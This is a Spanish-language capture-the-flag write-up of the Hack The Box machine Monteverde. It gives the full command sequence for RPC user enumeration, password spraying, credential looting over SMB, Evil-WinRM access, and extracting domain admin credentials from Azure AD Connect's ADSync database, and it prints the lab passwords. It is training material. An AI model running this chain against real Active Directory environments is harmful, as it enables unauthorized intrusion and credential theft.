Buscar en BreakSecure

Contenido recomendado

Monteverde

Monteverde es una máquina Windows de Hack The Box donde enumeramos usuarios mediante RPC, encontramos una cuenta con usuario y contraseña idénticos, recuperamos credenciales almacenadas en Azure.xml y finalmente abusamos de Azure AD Connect para obtener las credenciales del Administrator del dominio.

Portada de Monteverde
Plataforma
Hack The Box
Sistema operativo
Windows
Dificultad
Intermedio
Publicado
Autor
Pedro Vargas
Temas
  • Active Directory
  • SMB
  • Rpcclient
  • Password Spraying
  • Smbclient
  • Evil WinRM
  • Azure AD Connect
  • Adsync Az
  • MSSQL
En esta página

Resumen

Monteverde es una máquina Windows Medium centrada en Active Directory y Azure AD Connect. Mediante RPC enumeraremos usuarios del dominio y encontraremos una cuenta cuya contraseña coincide con su nombre. Desde SMB recuperaremos azure.xml, que expone otra contraseña reutilizada por mhope. Finalmente, aprovecharemos la instalación de Azure AD Connect / ADSync para recuperar las credenciales del Administrator del dominio.

Enumeración

Comenzamos con nuestro escaneo completo de puertos:

nmap --min-rate 5000 -T5 10.129.228.111 -vvv -sV -p-

Los servicios encontrados corresponden a un entorno Windows con Active Directory.

Como SMB está disponible, comenzamos obteniendo información básica:

nxc smb 10.129.228.111

Identificamos el dominio:

megabank.local

Lo añadimos a nuestro /etc/hosts y comprobamos la configuración:

cat /etc/hosts

Enumeración de usuarios mediante RPC

Intenté diferentes formas de enumerar usuarios desde SMB, pero no estaba obteniendo resultados útiles.

Así que probé con rpcclient utilizando una sesión nula:

rpcclient -U "" 10.129.228.111 -N

Una vez dentro ejecutamos:

enumdomusers

Esta vez sí conseguimos enumerar las cuentas del dominio.

Guardamos los usuarios obtenidos en:

users.txt

Ahora podemos comenzar a probar credenciales.

User = Password

Una prueba sencilla pero que siempre merece la pena realizar es comprobar si algún usuario utiliza su propio nombre como contraseña.

Utilizamos NetExec:

nxc smb 10.129.228.111 -u users.txt -p users.txt --continue-on-success --no-bruteforce

--no-bruteforce es importante aquí porque queremos probar cada usuario con su contraseña correspondiente:

usuario1 → usuario1
usuario2 → usuario2
usuario3 → usuario3

Encontramos:

SABatchJobs:SABatchJobs

🎯 Tenemos nuestra primera cuenta válida.

Enumeración SMB como SABatchJobs

Ahora enumeramos los recursos compartidos:

nxc smb megabank.local -u SABatchJobs -p SABatchJobs --shares

Entre los shares accesibles encontramos:

users$

Nos conectamos:

smbclient //10.129.228.111/users$ -U 'SABatchJobs%SABatchJobs'

Durante la enumeración encontramos un archivo especialmente interesante:

azure.xml

Lo descargamos:

get azure.xml

Y revisamos su contenido:

cat azure.xml

Dentro encontramos una contraseña:

4n0therD4y@n0th3r$

No sabemos necesariamente a qué cuenta pertenece, así que podemos probarla contra nuestra lista de usuarios.

Password Spraying

Ejecutamos:

nxc smb megabank.local -u users.txt -p '4n0therD4y@n0th3r$' --continue-on-success

Encontramos que las credenciales corresponden a:

mhope:4n0therD4y@n0th3r$

Ahora comprobamos si mhope tiene acceso mediante WinRM:

nxc winrm megabank.local -u mhope -p '4n0therD4y@n0th3r$'

NetExec confirma que podemos autenticarnos.

Así que nos conectamos con Evil-WinRM utilizando esas mismas credenciales.

Ya tenemos acceso interactivo al equipo como:

MEGABANK\mhope

Enumeración local

Una vez dentro comenzamos revisando los grupos a los que pertenece nuestra cuenta:

whoami /groups

Entre ellos encontramos uno especialmente interesante:

Azure Admins

Esto es una pista importante.

Además, durante la enumeración del sistema podemos observar componentes relacionados con Microsoft Azure AD Connect, también conocido por su servicio/base de datos de sincronización:

ADSync

Revisamos también las conexiones y puertos locales:

netstat -nto

Encontramos actividad relacionada con:

1433

el puerto utilizado habitualmente por Microsoft SQL Server.

La combinación empieza a resultar bastante interesante:

mhope
  ↓
Azure Admins
  ↓
Azure AD Connect instalado
  ↓
ADSync
  ↓
SQL Server local

¿Por qué Azure AD Connect es interesante?

Azure AD Connect se utiliza para sincronizar identidades entre un Active Directory local y Azure AD/Microsoft Entra ID.

Para realizar determinadas operaciones de sincronización necesita almacenar información sensible asociada a las cuentas utilizadas por el conector.

Por tanto, si conseguimos acceder a la configuración y a la base de datos de ADSync con los permisos adecuados, podemos intentar recuperar esas credenciales.

En Monteverde se cumplen precisamente las condiciones necesarias para aprovechar este escenario.

Azure-ADConnect.ps1

Para automatizar la extracción utilicé el siguiente script:

https://github.com/Hackplayers/PsCabesha-tools/blob/master/Privesc/Azure-ADConnect.ps1

Desde nuestra sesión de Evil-WinRM lo subimos:

upload /opt/AD/Azure-ADConnect.ps1

Una vez transferido, importamos el script:

Import-Module .\Azure-ADConnect.ps1

Podemos comprobar que el módulo se ha cargado utilizando:

Get-Module

Ya tenemos disponible:

Azure-ADConnect

Extrayendo las credenciales de ADSync

Ejecutamos:

Azure-ADConnect -server 127.0.0.1 -db ADSync

Aquí:

-server 127.0.0.1

indica que queremos comunicarnos con la instancia SQL local utilizada por Azure AD Connect.

Y:

-db ADSync

indica la base de datos que contiene la configuración del servicio de sincronización.

El script consulta la información almacenada por Azure AD Connect y aprovecha el contexto de la máquina para descifrar las credenciales protegidas utilizadas por el conector.

El resultado nos entrega unas credenciales extremadamente importantes:

Administrator:d0m@in4dminyeah!

🔥 Tenemos las credenciales del administrador del dominio.

Acceso como Administrator

Ahora simplemente utilizamos las credenciales recuperadas:

evil-winrm -i 10.129.228.111 -u administrator -p 'd0m@in4dminyeah!'

La autenticación funciona.

Comprobamos nuestro usuario y ya tenemos acceso administrativo al Domain Controller.

🚩 ¡Monteverde completada!

Conclusiones

Monteverde comienza con una mala práctica sencilla: SABatchJobs utiliza su propio nombre como contraseña. Desde ahí, azure.xml expone una contraseña reutilizada por mhope, miembro de Azure Admins. Finalmente, la instalación de Azure AD Connect permite extraer las credenciales almacenadas por ADSync y comprometer al Administrator del dominio.

Herramientas utilizadas

  • Nmap
  • NetExec
  • rpcclient
  • smbclient
  • Evil-WinRM
  • PowerShell
  • Azure-ADConnect.ps1

Referencias